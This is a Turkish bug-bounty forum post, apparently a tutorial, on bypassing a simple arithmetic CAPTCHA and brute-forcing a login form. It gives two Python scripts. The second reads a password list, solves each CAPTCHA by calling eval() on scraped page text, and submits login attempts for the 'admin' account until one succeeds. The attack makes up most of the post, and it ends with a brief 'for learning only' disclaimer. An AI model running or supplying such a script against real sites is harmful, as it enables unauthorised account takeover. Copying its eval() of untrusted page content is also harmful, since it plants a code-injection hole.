Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

Kimlik Doğrulama Testi: CAPTCHA Bypass ve Brute-Force Saldırısı

2u1fuk4r

Aday
Katılım
2 Ocak 2026
Mesajlar
5
Tepkime puanı
14
Puan
3
Broken Authentication zafiyetine sahip bir web uygulamasına saldırarak oturum açmayı hedefliyoruz. CAPTCHA’yı bypass ederek brute-force saldırısı gerçekleştireceğiz. Örnek olarak en basit captcha türü olan aritmetik toplama captcha’yı nasıl atlacatağımıza bakalım. Aşağıdaki gibi bir login formu olduğunu düşünelim.

1768312949477.jpg

Hedefimizin örnek adresi şöyle olsun: http://test.com/login
Sayfanın HTML kaynağını incelediğimizde, giriş isteğinin aşağıdaki parametreleri içerdiğini görüyoruz:

  • username
  • password
  • captcha
1*ZEClYTh3NocgTmJfWY-YOQ.png


📌 CAPTCHA’nın bulunduğu HTML etiketi:

<h5 style="text-align: center;margin-top: 4px"> X + Y = </h5>
Bu ifade, CAPTCHA’nın iki sayı arasındaki matematiksel bir işlem sonucu olduğunu gösteriyor. Şimdi çok işimize yarayacak ufak bir python scripti ile captcha’nın oluşturduğu verileri geri döndürebilirmiyiz bir bakalım.

import re
import requests

session = requests.Session()
regex = '<h5 style="text-align: center;margin-top: 4px">(.*?) = </h5>'

response = session.get('http://test.com')
output = re.search(regex, response.text)

print(session.cookies.get_dict()) # Çerezleri al
print(output.group(1))
attack.py olarak kaydedip python ile çalıştırmayı deneyelim.

kali# python attack.py

1*o6u4SwFD4dbYGP6o5hm2ZA.png


Görüldüğü gibi captcha verisini çekebiliyoruz. Şimdi sırada captcha’ dan aldığımız verileri de alarak login sayfasına Dictionary saldırısını test edelim. Aşağıdaki daha gelişmiş python scripti ile bu testi başlatabiliriz.

import re
import requests
session = requests.Session()
regex = '<h5 style="text-align: center;margin-top: 4px">(.*?) = </h5>'
with open('passwords.txt','r') as f:
for password in f:
password = password.rstrip()
response = session.get('http://s1ber.com')
output = re.search(regex, response.text)
cookies=session.cookies.get_dict()
captcha=eval(output.group(1))
print("Trying Password: "+password)
data={"username":"admin","password":password,"captcha":captcha}
output=session.post('http://s1ber.com/login', cookies=cookies,data=data)
if("Error" not in output.text):
print("Password Found: "+password)
break

1*bVUAAvdWF4k2ebY9iSN3xQ.png


Burada yaptığımız örnek tamamen bilgi edinmek içindir. Modern sistemlerde pek rastlanmasa da yine hala kullanan sistemlerde böyle basit captcha vardir.
 
Geri
Üst